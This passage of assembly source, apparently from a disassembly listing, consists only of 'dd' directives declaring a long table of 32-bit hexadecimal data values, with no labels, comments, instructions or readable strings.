dd 412D2659h, 86D02AE0h, 8341989Fh, 0BAF3FA0Dh, 5E3D1180h
dd 6D0040B6h, 8FCD1FACh, 8EF700D9h, 593110A5h, 976E451h
dd 0D5EC7900h, 267B25B0h, 4E241F80h, 0DB1C4005h, 0D1928D40h
dd 1B9A9F00h, 49E03B38h, 9840F5F9h, 0F0D546AAh, 90356093h
dd 86D41FC3h, 163A7E2h, 0B0C59181h, 1D881DBBh, 89D769h
dd 0FD1E2A7Dh, 0CB27A70Bh, 8E788112h, 0AC43810Eh, 9C98B8ACh
dd 80030C79h, 0E9F00D59h, 0EF01757Eh, 61DA0E96h, 199F2EFFh
dd 43F2C15h, 0AAD55FACh, 0E0006489h, 59786DDh, 0A9C03466h
dd 411000AEh, 7FD0E9Eh, 76887001h, 72B1B609h, 8930803Bh
dd 0AF6F86CDh, 9FDF62E0h, 0E9F890FDh, 1A6EC1Dh, 4061FFC2h
dd 20169252h, 0E5410E24h, 0C8EC2C53h, 92BF2DA7h, 2C5C3C28h
dd 3C81F930h, 0D40CC4D5h, 596882E2h, 979F2843h, 1A491934h
dd 0C5AC50F1h, 0CBC06B23h, 1F2D5099h, 67E35Fh, 9E8D1644h
dd 2C62DAC0h, 7A6DE489h, 24710220h, 44C7B185h, 7D68BD00h
dd 30287D88h, 0FD305FFBh, 9540F5B4h, 94875067h, 808300ADh
dd 5B590ABAh, 0D027F6Ah, 74D2990h, 71088013h, 2E40FB5h
dd 52334C6Eh, 17432A11h, 38E1F00Ch, 14B9C86Dh, 0AC67F432h
dd 1EA88724h, 3AAFC0D9h, 0E4073073h, 0FB474B00h, 0EA87D3A8h
dd 5FD100B4h, 0A7AC6AFAh, 81E378Ch, 9C95E2BFh, 0C007008Ch
dd 0F57853F0h, 900AFA66h, 0DBC40160h, 1D4C16B7h, 50076F6Bh
dd 0F5830EADh, 0F0105132h, 7338D06Bh, 4101A9B9h, 307BB620h
dd 0FAC85FD9h, 0D584003Ch, 54353D26h, 0E139E60Bh, 807D81B2h
dd 0B4DFA703h, 5157408Eh, 0A3EDA5h, 86D5819Ch, 0A24DB2Eh
dd 2C40D01Ch, 24E2724Bh, 843806B5h, 951ACDA7h, 61641278h
dd 0E05E4B24h, 650282E8h, 4FCAD77Fh, 654683Dh, 0FBB63934h
dd 251C28B8h, 0B46A075Fh, 0A8802DADh, 0B5060810h, 6F2B2173h
dd 2FC601D0h, 0EB1B207h, 872882D4h, 446EE1F8h, 49A77910h
dd 98744811h, 0EA3426BDh, 35B133Ch, 91BEA734h, 18F048h
dd 7E63D5F9h, 0C1BFC9B4h, 0E472D640h, 8128406Ch, 0AE48669Ah
dd 68BD2D80h, 80688F2Ch, 401335A6h, 6C047D5Eh, 541DD2BCh
dd 0FD96486Ch, 0B43D0460h, 1C850C8Fh, 0F2C6E44Fh, 89DEEA06h
dd 5B13C08h, 0D3282064h, 0C1CED1CCh, 4FEC0A03h, 6F86A7h
dd 0E0B809E0h, 0E1BB61FCh, 0D9324072h, 106F8116h, 0C8A49B9Fh
dd 0A81D1B31h, 1F00DE87h, 0AD00674Eh, 0E949A9BFh, 1E2B80A1h
dd 5FAC37E7h, 1D430015h
dd 0FDB2E403h, 0CABC1403h, 0BA49F11Fh, 0A2E4A26Eh, 0E73080D6h
dd 98570669h, 48DE75DCh, 0B4831C20h, 907743AAh, 86E0E218h
dd 10E6BEA9h, 21CEF36h, 0CD757241h, 0AE9D4089h, 572E0202h
dd 0F9E149CCh, 2FDE1C60h, 0EB39103h, 0AAA9CDD2h, 9634C057h
dd 8028093Ch, 0E082BF6Ch, 0DC074F24h, 21EB6170h, 4C5213CAh
dd 0ACEC40A9h, 0D3A1B6ADh, 131F103Eh, 7452FBB7h, 82B12009h
dd 55D09F8h, 0CFC40542h, 78F10080h, 0A7D1160Bh, 0F8175837h
dd 82751280h, 0AA9B00ECh, 5BEAA841h, 0DB505FA7h, 270E58FCh
dd 8F59DC91h, 0E29B01AFh, 55CD84B2h, 6300B878h, 96F042F3h
dd 2558BDA3h, 4C9050FCh, 98E71F26h, 739AA780h, 30E16EB1h
dd 0B23875C3h, 0C0A6DADEh, 0D4AB38h, 224197FBh, 15688AFh
dd 0BE614F68h, 64B321A7h, 48B045ACh, 70A1C99h, 0C262D41Eh
dd 0D6404136h, 210E9092h, 33654Ch, 6F6F903h, 9FE2BE27h
dd 0C053874h, 0EFEE6AAFh, 0D670F091h, 0A7B66100h, 6809E330h
dd 50D2DC92h, 6287E81Bh, 0A974703Fh, 0EBBB6860h, 0AA71E8C3h
dd 10ACC172h, 0E100C065h, 0D2E0DAh, 4EA95BA5h, 0C05D4B37h
dd 6DE29D03h, 0E12EEFD3h, 0A941AD46h, 0C2E1583Eh, 0E5978A30h
dd 3DC0E182h, 4C09215h, 0D900A8D0h, 5F4B592Fh, 341E47Bh
dd 4C10BB2Ch, 78000A39h, 0FB745709h, 0DD9232h, 341E91FCh
dd 41F2FDB4h, 0A5E04F75h, 5CD3A0A0h, 872D4E14h, 0FBDD00DCh
dd 0D5119DC7h, 0C5B33C06h, 0D36E6D0Ah, 925805D2h, 0A7689C76h
dd 0A8940232h, 0C1DB6398h, 0B0629914h, 5886BE41h, 30B9B2B1h
dd 0EA732F0Bh, 149CB815h, 0BFCD06DDh, 59C27632h, 6811120h
dd 97B4FF24h, 0D09318B6h, 8BCF9C24h, 35D41898h, 4100F90Bh
dd 0B1005C9Ah, 0BE285ABBh, 7ADC0AC2h, 8EE21929h, 23653010h
dd 0E0DB2D20h, 1D928DCh, 0AE0C352h, 4112E1FBh, 4D158F4h
dd 7061D00Eh, 2B05724h, 91853589h, 0C54D7C48h, 475E280h
dd 1F2658D5h, 0AB54C08Dh, 5090BDDh, 9149391Ch, 640975F0h
dd 0EC7EB4B8h, 481E88D6h, 0AB00DDD0h, 1C13CEFBh, 0A0009FCBh
dd 7D6D6145h, 103B624h, 0BDA851E1h, 0C4A789F0h, 0B49AF94Dh
dd 6C5FC919h, 0B052B5E1h, 48A0E281h, 609B4C18h, 1AFF2069h
dd 0B42F3140h, 0DA30409Dh, 80A52EE2h, 12D9788h, 8CB43AECh
dd 0ABA180A7h, 1244A9F3h, 0DC593A61h, 0C8307EA5h, 0D103428Ah
dd 0A77F180Ah, 5C18A6A9h, 6062830Dh, 0C00A99C4h, 50EC05B9h
dd 0E831969Fh, 3070BE43h, 0F5BF00ACh, 1AC3EF90h, 7D6FDC4Ch
dd 0FD9F45B8h, 7844A0F5h, 923D24A0h, 0D3C20688h, 20F563E2h
dd 73C8E360h, 0C22F414Ch, 0D53AA721h, 234EACC9h, 0D4131008h
dd 65616E0Eh, 0BCB2A7C3h, 1C092800h, 0DDEE2B47h, 72500171h
dd 0E2E0BEECh, 25287CB7h, 17032B3h, 0A4F9A78Ch, 0E9084080h
dd 0BAFB8AB5h, 0F3B8C10Eh, 6F524B1h, 0F954C3h, 4122AFEEh
dd 6FF7C233h, 5C2111C0h, 58831FC6h, 7126DC53h, 125C2624h
dd 3244207Eh, 48C32984h, 9883A7h, 0AAA9270h, 3E4C3DE0h
dd 5848D859h, 10485840h, 8513542Ah, 88E0253Dh, 0B8C47694h
dd 41EB8D6h, 0A244AC48h, 2D5004ECh, 0EC22C585h, 4892D4C1h
dd 5C0361E0h, 0D6D2CDCh, 0B186A84Fh, 2A8B1ECh, 651EF6AFh
dd 0AA399240h, 60C0F17Bh, 2C1DBA35h, 0F35878D9h, 0D4940845h
dd 488EC4C2h, 3975FC78h, 0B10D67B3h, 0DDF86F2Ch, 0C49821A0h
dd 47F5B3Ah, 9349F00Ch, 0AAF894h, 651BD5ADh, 0E864366h
dd 0BB244197h, 92ECC36Fh, 97AC4ACFh, 0E008445Fh, 4C1C8007h
dd 0BA488F49h, 24713B48h, 0B1160877h, 28C49005h, 9B330081h
dd 5DBE6880h, 436EE420h, 46A82500h, 0A949EE87h, 8120D2FDh
dd 1578B238h, 3B097091h, 0C0B1BA01h, 8096625Ch, 904EA990h
dd 1B2D277Ch, 0B1B0EF06h, 18DDD2h, 0B39CF85Fh, 0A6435C55h
dd 1C9ACD3Ah, 66009F23h, 0E1DAA29Bh, 249C99B5h, 0C09182FCh
dd 48695842h, 40B42CB3h, 0BD6735A8h, 3271D329h, 11A2D070h
dd 269486F8h, 1F64E409h, 0D9901E3h, 0E0B26810h, 0A8A86349h
dd 3360284Ch, 0B62AC578h, 0A028928Ch, 9006D130h, 92A718FCh
dd 1A43E175h, 7C091FF8h, 84D4C8B4h, 68E46248h, 604B40F9h
dd 8E42D0A8h, 19FB0E17h, 4C39E480h, 506E5092h, 11672EE1h
dd 876CA9F4h, 9B49AAF8h, 94B8A5h, 0A891AB80h, 4995C5Ah
dd 0BCB0AC0Ah, 2CC45745h, 9666F888h, 0FA82104h, 2E806C1Fh
dd 0F44C0FDDh, 91F48E50h, 6171A301h, 0BD0EA748h, 3AE7F880h
dd 95DCA26Ch, 79768B03h, 0DA19B1AEh, 0F9D06661h, 2DC801h
dd 0F91D2C7h, 0FC90828h, 71DA70E0h, 0DC005E64h, 0DE0E9E58h
dd 1DC341E7h, 22EA60Dh, 0C4ABAC2Ah, 18A6704Bh, 202FF1F5h
dd 0B5407B64h, 0E0D40780h, 56A73313h, 6698A0AFh, 7F317904h
dd 8D82841Ah, 84785Ch, 5908B224h, 0F3C56A2Fh, 89A9D338h
dd 25461F7h, 0A80FF9CCh, 9B88BCB4h, 0A9BE091Ch, 5DE21C9Bh
dd 0B607FC54h, 84C72ADCh, 0A704E839h, 9C714DA5h, 1C00EC45h
dd 70C84FD9h, 30A060A7h, 0A591B673h, 0C2F1E225h, 498C44ECh
dd 0A09474E4h, 69A7DE04h, 8D2B00F4h, 243C4F0Eh, 9147F85h
dd 0C0020DEAh, 0B00207C8h, 6114E1B3h, 1E7011A6h, 0CBEEC0D5h
dd 0A16427C3h, 0AE3EDD05h, 0D4047C2Bh, 30D49DACh, 0C165A080h
dd 9BA12A2Ah, 61D1026Ch, 2D60E9FBh, 38361461h, 0A0198728h
dd 0E5FBD290h, 0BCE4E975h, 4B64BA7h, 0C2EA76C0h, 0D8E65B40h
dd 0B20A54A0h, 2129E700h, 13A7D022h, 8930C6DDh, 0E030F049h
dd 0F36E41D2h, 0B477244Ah, 7E1911A0h, 7FC23E01h, 93F749D1h
dd 72CC092h, 42528454h, 907110EAh, 8D3049C1h, 0C10830A6h
dd 7278B1E1h, 26B60458h, 7CC43BCEh, 73A088C7h, 2E339CC8h
dd 1DEF4D59h, 9FEDC08Dh, 0B1CCDEFEh, 0E7B7DB01h, 10237F5Fh
dd 16F5ECF0h, 161629C9h, 158B85Ch, 49DDAA6Ch, 0B854F420h
dd 0E0E9B4C2h, 474120h, 806FFDDEh, 2BE76A06h, 0C2DB42Ch
dd 0BFBEF79Eh, 21591D05h, 81A44080h, 39CABFA9h, 5A81A868h
dd 48DFA041h, 0EEFCCC69h, 0C8349000h, 0A7C731C2h, 0A8AD5138h
dd 0D2E429F1h, 0E6B4B235h, 5893F2h, 190B9FA5h, 0C75176E1h
dd 82F52088h, 923E4109h, 2EA44E1Eh, 80D83BC9h, 0E36AF718h
dd 0E0B0E0B9h, 0C18E460h, 9AF6F6Ch, 38DB49FBh, 0C7B31C24h
dd 0CAB434h, 68FB5FC6h, 0C97734B4h, 0FC60C058h, 6F0A3532h
dd 0D8EC504Ch, 6844590h, 0B90F213h, 0E60FB5h, 0A81B0C8Ch
dd 4B0B1E28h, 49D906DDh, 5C0E29F3h, 6038E8ACh, 0D6BBCF4Ch
dd 285A03C9h, 6B3133CAh, 437CD9FDh, 1BC8D31Ch, 0B0F2E3C5h
dd 9943A900h, 1D238F8Ch, 0F8485C56h, 804D8300h, 0DB4BE9ECh
dd 11449A1Fh, 0BC79FF00h, 1C8D858Bh, 807468B7h, 4FD6B22Ch
dd 0D5492603h, 0F40E26F8h, 78312183h, 7213E07Ah, 0E85A5CDCh
dd 0EC05B4D5h, 10A92A49h, 0BBC1D8E4h, 0CBCBE2DEh, 0E105DFF2h
dd 9981D031h, 1FD9430h, 675C5B60h, 28BB8517h, 0B12D25E0h
dd 0D463AC68h, 20E40B18h, 0FE06CB61h, 0F46EE11Ch, 43221228h
dd 1DE85608h, 0ACB4A4B0h, 0ECB7BEB8h, 0A4BA7110h, 5861FABBh
dd 77A0274h, 44C0294Ch, 165A7331h, 0C60BE816h, 58B8CA32h
dd 5CDB4BC8h, 13AB902Ch, 0C8C10BDAh, 0F86CEEF2h, 0C07B129Eh
dd 2F1908E8h, 2404D1D2h, 0CB1CD90Ah, 2C40C239h, 525987B4h
dd 31606158h, 88246BAAh, 7259C4B6h, 4494C0ECh, 29D30D6Eh
dd 0BA5FCC71h, 58D4E471h
dd 782A00EEh, 35E8CB1Ah, 4A6193B4h, 0E6E2D6B0h, 0BD9007F3h
dd 40347EA3h, 499B8AE0h, 12CAE5Dh, 0B92948ACh, 603870h
dd 44968463h, 3EA36A88h, 591D4D3Eh, 9249046Eh, 72FB0979h
dd 9C9F0070h, 303BE347h, 65FAB2E4h, 1F137502h, 826AE1EBh
dd 784DA708h, 0A35B7110h, 0C6040EBEh, 79CC2C71h, 667192A8h
dd 0C00BE8CCh, 0FADA00BFh, 7B71AE8Dh, 36204C07h, 2E49014h
dd 0A73D81CAh, 0FC6CD41Fh, 0A48476C9h, 0B080AFACh, 90DDA349h
dd 0A7D108E8h, 7D39F340h, 6060E2Fh, 0B9F889CCh, 69E1861Ch
dd 71FD48CFh, 6C60C620h, 8619DC71h, 16B00E79h, 0BAFB0030h
dd 0B4A49BF0h, 9B8C0E0h, 7800FCABh, 9F7C4673h, 13D468E7h
dd 3EC6A8Ah, 0E36E25Dh, 0C4026877h, 75FC9067h, 0DF9E8526h
dd 0EFE370D9h, 0B38C00FBh, 3AA37758h, 2000D3C4h, 8C7633E2h
dd 0D73284Ch, 7875B724h, 8240D188h, 0FDD386C5h, 60033866h
dd 49851FC6h, 0C1B90071h, 69B4EB87h, 0E102DCACh, 0A952DAB7h
dd 0F13063E9h, 89F053ECh, 0A097F054h, 0F5B1C008h, 0DD5825CFh
dd 0ABA73402h, 5DC188C8h, 0E47E9226h, 68F65FE0h, 604300ACh
dd 9197980h, 0F51ED61Ch, 4B07956Dh, 1D844C72h, 93FDAC90h
dd 6E3007Eh, 9F2E4399h, 0CA001C98h, 6EE4113Eh, 7CA2C7EFh
dd 84E81ED3h, 61B109E9h, 10DEA800h, 309B331h, 56B89C4Ch
dd 970C2408h, 8A7CD7DCh, 0C9D6E6E0h, 74090B6h, 1CB6D13h
dd 0B8A9C023h, 0F078AD99h, 0F89E55DAh, 3D9A4C04h, 780E141Eh
dd 0A78801D6h, 0A875573Eh, 240976B0h, 85F85F25h, 0FCA87310h
dd 0EAFA8A00h, 86DD8957h, 38DFB114h, 93D400E0h, 0CF66CEC6h
dd 0C8B40FE1h, 1FC733C4h, 46C8589h, 9773DC08h, 97CDB24Ch
dd 88BFA8C8h, 0A940E705h, 0EC012D4Ch, 0C732D95Fh, 1F1109CCh
dd 8A1076C6h, 188CB8Ah, 6AE2DAC8h, 114087C2h, 24EFB847h
dd 57C0294Ch, 91635CB4h, 0C1A82Ch, 2F20AF99h, 34B3E40Eh
dd 0EA8CCB12h, 0C1E31C00h, 0E9C966h, 505AE0BFh, 0A7026421h
dd 88BC292Ch, 0B0BC0820h, 0E9B84925h, 307FFFh, 0B7AE25A8h
dd 0D9CCA7A9h, 0C8907873h, 85FAC28h, 14495A28h, 40C9E04Eh
dd 482C30FCh, 18102804h, 0E5007F09h, 4A715C3Dh, 0AAC359D5h
dd 0DB0041B8h, 0DA3AD810h, 0E127F103h, 0AA5876BAh, 0CC607D39h
dd 460F41A9h, 0E5034A22h, 0C8E71F90h, 0EC11A712h, 3442534h
dd 8E8FE268h, 91B50528h, 88255AA3h, 434CAA84h, 3EE21254h
dd 2056DC42h, 2A246C61h, 4E185B5Ah, 0CCC4245h, 0D07205E6h
dd 8535541Dh, 52F5A746h, 7D2C2480h, 768B08C8h, 6CBEF00h
dd 75B9779Bh, 0A400951Ah, 0A653E94Bh, 27675C94h, 14E050C5h
dd 0B5C6252Ah, 0CDFDD010h, 5A1F2499h, 0A5A26B80h, 0F0DAD188h
dd 16EC1D30h, 0C1898BFFh, 80433CA4h, 6D182AA8h, 144E39D2h
dd 0E75838E0h, 280F9731h, 0D16C2DA0h, 0A70469B5h, 0D3D449D8h
dd 4453D491h, 202AFC61h, 2B6C6DB8h, 256060B8h, 0B1B9BB7Eh
dd 0B801601Dh, 0BCA494F7h, 0E42C4078h, 20008654h, 419ADFC7h
dd 0F2B51C2Fh, 58492549h, 30B86166h, 0B917D424h, 50325FA9h
dd 500511Ah, 97E4457h, 5051DE44h, 8A560F42h, 830278C0h
dd 0DEE917h, 16A14C08h, 341F71DDh, 9C826080h, 25A7DF14h
dd 38247506h, 31B4432Ch, 8AD0260Ah, 0EDB10FB5h, 0D1184153h
dd 8215E949h, 19C59628h, 9CA8D1ABh, 9678D6E1h, 0B2470F8h
dd 67100807h, 0B1610C0Fh, 10671513h, 0BA78884Ch, 0B99F050h
dd 7A2A2349h, 0F82F2CEBh, 0B18818D5h, 70AA61A2h, 786894D1h
dd 0B0499230h, 90742Ch, 853D9FC4h, 641740D4h, 4822996h
dd 7C7C48F2h, 592A0645h, 802378B4h, 1560B195h, 0AC2C91D9h
dd 3821FE86h, 4BF116A0h, 74735901h, 0D938A5BCh, 9C31C1F9h
dd 0B481846Ch, 34D11AF6h, 0D95E499Ch, 8992540Ch, 1082EBACh
dd 0E67791C3h, 2CC10442h, 9EA0011Dh, 180DEF03h, 992B0880h
dd 0BE04C440h, 421896A9h, 108A1A80h, 0F7026D0h, 88C96BA5h
dd 89ED2C00h, 0E11033B0h, 0EC40983Dh, 0F8086257h, 0C48458D9h
dd 0C118A8DEh, 0AA902AC2h, 87C44Ch, 0BDFBABFCh, 9F1E2238h
dd 1A69F800h, 0B6E1DE68h, 0EED80417h, 0D018A728h, 0BEF40E48h
dd 8D4AAF01h, 80FE785Eh, 265AE0h, 0A507B7F1h, 0BDA6E61h
dd 0CAF4C909h, 0BCC4D9h, 0A997D586h, 8D652B3h, 248DE0Fh
dd 800936B1h, 4CB8E027h, 25989E65h, 2E6C30C9h, 4A746401h
dd 0C0E26472h, 80C4A430h, 63A4C21h, 24460259h, 60918245h
dd 0A8F8D486h, 4606BDCh, 0A7250F3Dh, 61AC9085h, 919762BCh
dd 0F448ADB0h, 0DBB70689h, 211528E2h, 0DADDA804h, 0ACBCC849h
dd 10E8A0D2h, 61CEC916h, 48EC6C88h, 0FD006443h, 0CAC36328h
dd 21C20823h, 4056341Eh, 0BE27308h, 8FE11FB2h, 1317B478h
dd 0D2003A2Dh, 31E84DA3h, 5AE8AEh, 0FD3DE323h, 0B938B478h
dd 64BB49Eh, 0B611DE52h, 0D0590A48h, 31E79310h, 358F0C28h
dd 107C2894h, 0BC00165Fh, 4E06D18Eh, 6E744162h, 0D2C4B805h
dd 688060A5h, 13B532F0h, 1E5FFD82h, 7890A524h, 714F2AC1h
dd 823C7C1Ah, 60B2FA28h, 8001E744h, 0F8B6AB71h, 808DDB8Bh
dd 0A22AC688h, 0E0109DC2h, 825E2D4h, 2C74640Fh, 3E5EEE77h
dd 16B85E77h, 7198C740h, 74CCA5B1h, 9434E28Ch, 1007389Fh
dd 25C957C9h, 0C8017E3Ch, 51C3A74Eh, 0A00C173Bh, 60D47398h
dd 4BF16CCh, 4C07AC30h, 7A0C401Fh, 0EB1C40D2h, 139D2B49h
dd 0B89A3A8h, 0FB87E0C8h, 9B81DC30h, 8048C8BAh, 0E3CF0FC4h
dd 58040022h, 82EE49h, 0AFB35EE2h, 0A7324159h, 2E07452Fh
dd 0B87FD34h, 2F00D36Fh, 6DF2C9h, 50AC4489h, 74D47891h
dd 0C0245724h, 0B40B581Dh, 61CC0ECh, 30962CBFh, 7151E04h
dd 24F5941h, 0C0700AA7h, 96640E3Bh, 0A841DA01h, 2738C972h
dd 4C122463h, 0C6544A35h, 882845D4h, 0CEFBB6BCh, 2C94347Ah
dd 0B4E17826h, 0E10848A9h, 1E92A20h, 30A4A21h, 8240634Ch
dd 0E255AE60h, 13CC6474h, 0B4C58959h, 0CBD613Ch, 9C10A92Ch
dd 0B5FF8860h, 1BB1B403h, 2A682D42h, 41215469h, 2D2D89D0h
dd 9B11C4C4h, 316A521Dh, 0C2C788h, 4784759h, 0B47EF2CAh
dd 9F98A0EEh, 22ECE407h, 0A287C35Bh, 8009C85h, 6E9B2E1h
dd 90785CBBh, 0D0E8B716h, 85044FECh, 0E2DC2E05h, 94B23BB5h
dd 0DB138C4Dh, 1530A05Ch, 0E4C48641h, 0E9A10CBFh, 16830E6h
dd 0E0C91F16h, 2F2D801Dh, 0E23680FCh, 122B42BBh, 5EDA21B4h
dd 3C44A738h, 0B72EB118h, 13EB4F18h, 14B35349h, 3D10C8A4h
dd 28C104E3h, 0D8F3A45Ch, 4CEDB40Ch, 774ADE38h, 5E762C82h
dd 4FF90870h, 0ED2441Dh, 0FCB50837h, 75E0E8CDh, 2811D8B1h
dd 795CE9A7h, 0E0D7CB08h, 942D33Ch, 68BAB445h, 80A960E1h
dd 715BD561h, 48DCE2B2h, 0D898E83Bh, 0B664744Ch, 40E2DEC8h
dd 2CE1D92Dh, 179C670Fh, 0B4371908h, 0CF171C4h, 98889DF9h
dd 0E325100Fh, 4BD8C29Ch, 5676C204h, 1CECCAA8h, 71CD834Eh
dd 18BEF5A7h, 0E3133D00h, 0F68252Eh, 0B92300DEh, 446B1F75h
dd 9009673Bh, 0F96F82CAh, 2C1C00B4h, 29D4F931h, 0D0014A4Fh
dd 0F78EE2D1h, 0B1B96882h, 98E904D2h, 6EB04090h, 17244C35h
dd 8F800089h, 16A07C07h, 0D2062EE1h, 0A91F8A60h, 28822F8Ch
dd 0C0587C4Ch, 2C89313Ch, 2A631461h, 82100012h, 0A7A91C9Ah
dd 0F24949F6h, 0E8F52488h, 0B7B04Ch, 170A3EF4h, 498BB8FAh
dd 2813BD34h, 9BD974A4h
dd 2BE41100h, 0F02CF862h, 91240449h, 49C300ECh, 502626F4h
dd 203BFCDCh, 4F223A03h, 118E189h, 1E3E9C20h, 0C112FC4Dh
dd 48A0C554h, 48EF61BEh, 0C5A94240h, 12C46212h, 3CB0FE4Ch
dd 0D1FC04DFh, 8319EDBFh, 500B77D7h, 464A09BEh, 33B41490h
dd 0CC3FA0EEh, 27B9193Ah, 4479FB80h, 75A24C71h, 3CF9F9C2h
dd 5881776Ah, 3028E307h, 0E1F496B0h, 0C4E92625h, 62BDF078h
dd 1E97109Dh, 2831AC5Ah, 0E29E088Bh, 5268CAD6h, 5E6898C0h
dd 0D7FCF074h, 4CCAE21Bh, 0A7BFF020h, 100D593Fh, 2DFD5500h
dd 0AA91B0A1h, 0CB1FE219h, 48806669h, 61D1BC56h, 0B4A81738h
dd 0F09B69BDh, 18686508h, 1550117Ch, 50ABB480h, 5A6784E2h
dd 9B88AEEh, 59C47631h, 82C81664h, 6F01AF78h, 6AC80D54h
dd 0DEB78019h, 275AD913h, 0BA93888h, 6C11CAD5h, 394C8498h
dd 0C70ECCBEh, 7D06009Fh, 5EBDE6Dh, 75E252BEh, 6858B1A7h
dd 14F39330h, 0B07D1B14h, 0C9A149Fh, 6B4E702h, 0F0406D2Bh
dd 18CB63D2h, 91C0F76h, 0E2F0A83Ch, 3E00D326h, 0CB0557E4h
dd 0A7DE0B23h, 0CC68B77Fh, 8C007E40h, 0EDC5E1D7h, 241FD606h
dd 160EBA99h, 1688B744h, 64605A91h, 90DB2F49h, 1FC10048h
dd 6AE8B88Fh, 0CE0E7BDCh, 16498767h, 0F7A42CC7h, 154B83C0h
dd 0B5210059h, 0A9D8DED4h, 80175BBFh, 18163E63h, 0C5AC2A07h
dd 68D58FC0h, 128498ADh, 2403C42Ah, 46ACEDC0h, 41AC13C0h
dd 702B9022h, 6DC420E8h, 0DCB50615h, 0B1B781ACh, 30825F0Ah
dd 0C62AE2D2h, 982E3449h, 0A9406524h, 809CBC69h, 22D6F1DFh
dd 5814064Ah, 26A43527h, 7826EC50h, 827D493h, 0E01C0BE9h
dd 0BC1692DCh, 28598A50h, 0C8449058h, 0A3DE0B75h, 0EB25B050h
dd 0A90800B1h, 16735C6h, 6477D480h, 88DA66D5h, 41342E18h
dd 6804B1B2h, 0DF280038h, 1AA7510Ch, 7360CB72h, 0E083BC6Ch
dd 38E7E980h, 404CA916h, 59C0041Dh, 9B82E850h, 51292727h
dd 37A72481h, 0E7488064h, 4EBFAC31h, 6AC928DEh, 67677E4h
dd 0A5B194A8h, 712560E0h, 5620A2D4h, 0DF88C84Ch, 37E70D9h
dd 0A10632C7h, 44A05377h, 0B118039Eh, 5616F843h, 10163CF3h
dd 0A9BEE33Dh, 0C0254C1Fh, 0F732AF6Bh, 0B93EC767h, 8D007889h
dd 69DBCB87h, 0B3F3C6Eh, 7AD37CCFh, 8590BC01h, 4E67C8BFh
dd 0E6A13E09h, 0FC40103h, 188F4F2Eh, 38871650h, 0C710CC80h
dd 43C93100h, 7B1069C3h, 0A2D918E3h, 0E13EB032h, 0EF81DE00h
dd 66B12092h, 0BE98038Ah, 2930E8E0h, 65F36380h, 0F20FD403h
dd 0E136FC2Ch, 0B100AA8Ch, 48C66369h, 58E0F085h, 3607B07Ch
dd 81C3EADBh, 986CDF6Eh, 6105020h, 38E30063h, 0B1E9F78Ch
dd 84004381h, 307D135Fh, 3D9A64B9h, 0E05053Ah, 0C3867F62h
dd 15D065DFh, 0AC0080CBh, 0E4EE0CE8h, 68B1C4B9h, 3E90306Ah
dd 9BF03403h, 72E0D11Bh, 943EB844h, 680200BEh, 0D9D28CC7h
dd 0B0C6676Eh, 98C366D3h, 0C2C8671Fh, 10BE680Ch, 9C0352E8h
dd 3DCF5A0Ch, 5B0D0E30h, 18878FE3h, 149D86E0h, 0F091039Ah
dd 90A1260Eh, 0B17CCE67h, 8081F648h, 47A6AD29h, 7801ABDBh
dd 0EE5D3B9Fh, 0A3081680h, 3CCB5AC3h, 0E36B61C0h, 0C915181h
dd 9B84D920h, 0E83BDED8h, 2783000Dh, 0CA77B1AAh, 19FCF6EAh
dd 0A84DD290h, 9A30203Ah, 0CE37388h, 466341B3h, 0B87A0F88h
dd 1E630C92h, 1D9E7FA8h, 40F77A10h, 4063B607h, 46009775h
dd 6B1A48C8h, 0A82B274h, 0BBF46E7Fh, 8EDF008Ch, 0F8758415h
dd 90DDF106h, 148A82Ch, 0E8E36DA1h, 0CCFCD301h, 820CD808h
dd 207E0D90h, 63AD2830h, 18B348D4h, 65C5024h, 9924060Fh
dd 580E49h, 0E1AB8CFAh, 0A3C444D9h, 0F890A88Ch, 0D429C19Bh
dd 25F77FEDh, 40A40238h, 0E83F4044h, 0F9C00305h, 0C25F31F2h
dd 6B08812Dh, 0F848A506h, 0D0E05430h, 39D13C68h, 10D0781Ah
dd 8E37B883h, 0DE7283Eh, 61F0EDCFh, 16CBD0h, 0BA9637E3h
dd 0BB3BEF74h, 0F843992Bh, 80030F12h, 76030D34h, 313F0008h
dd 33EFD5E8h, 0C490F1BCh, 6560D974h, 0EB5A3530h, 87450EECh
dd 0D198D0CFh, 47003F43h, 77379BD8h, 0BF737Eh, 689BCEBh
dd 46B1FA39h, 0DDF8F701h, 0D56C374Fh, 19CA0031h, 0B821E8h
dd 7931DD4Ch, 98B26B1Ch, 6263F180h, 342F848h, 0ED6F0D4Eh
dd 0E9008C92h, 283F16D3h, 6DD5620h, 0AFD91158h, 30A9487Bh
dd 8C4004B1h, 83625A8h, 48C87CA5h, 7098C847h, 0F506C346h
dd 5435D942h, 33C0030h, 509CCFA5h, 86306F39h, 5E188B1h
dd 612F603Ah, 30870E62h, 0C0DF19F4h, 0F37D9482h, 9F1541F8h
dd 38205BE5h, 34F900D5h, 0F76FB197h, 0FC4869C6h, 0C9390104h
dd 7719EDEAh, 0D9080504h, 0DE884347h, 0A7E2303Ah, 4442646Ah
dd 629E1090h, 1D2CD360h, 0EC9110CBh, 0C1066AAAh, 93296138h
dd 0D9EBE8C2h, 1808FE33h, 667AF0E0h, 0E6603EDDh, 5C64510h
dd 0F14840D1h, 9006C821h, 0DA264823h, 78028F7Ch, 9013EC84h
dd 0F2D68AD0h, 6C13F1E2h, 0E51D4864h, 6EEBB241h, 4083CAB8h
dd 0AC57303Fh, 69125800h, 8DF64740h, 0FD2B06E7h, 0B19F216Eh
dd 0A4020BE6h, 0B5D9C938h, 0EDD48595h, 0FC496F84h, 0CDD882E3h
dd 2CA009BBh, 82308986h, 8F600460h, 78A544ADh, 32AA1A1Dh
dd 144008E1h, 0FCAA8A06h, 86F78040h, 65A2E08Bh, 0F3870018h
dd 90DCC950h, 0E0C09780h, 66158D94h, 864F3BA0h, 0B1BB9C09h
dd 1A6EA838h, 282349h, 7B9E82AFh, 670B1h, 2913A6A9h, 288B3040h
dd 121530C0h, 6FF77Eh, 0F1F31E8Ah, 0C11B9084h, 797F98C0h
dd 0E42FEFh, 0B16C55C7h, 0C462D661h, 6AB4D58h, 0AA6D9BEh
dd 58E32478h, 56343AA0h, 8080308h, 0EF1C58Bh, 0D7148063h
dd 0A1463A01h, 0F46CE465h, 3531CFEAh, 2C0FB749h, 297A3CFh
dd 934BD997h, 9022948Eh, 0D84844D5h, 2DF0DEFFh, 42106560h
dd 53BA12Eh, 5D6EDAE8h, 58C8008Ah, 0A844013Fh, 0FF9224Ch
dd 0C120C792h, 10CAE85Ch, 7BD95060h, 489C88B1h, 87B5DD39h
dd 0FDC55B6h, 0C5710726h, 88C5DE60h, 5C90ED80h, 0AE5DF898h
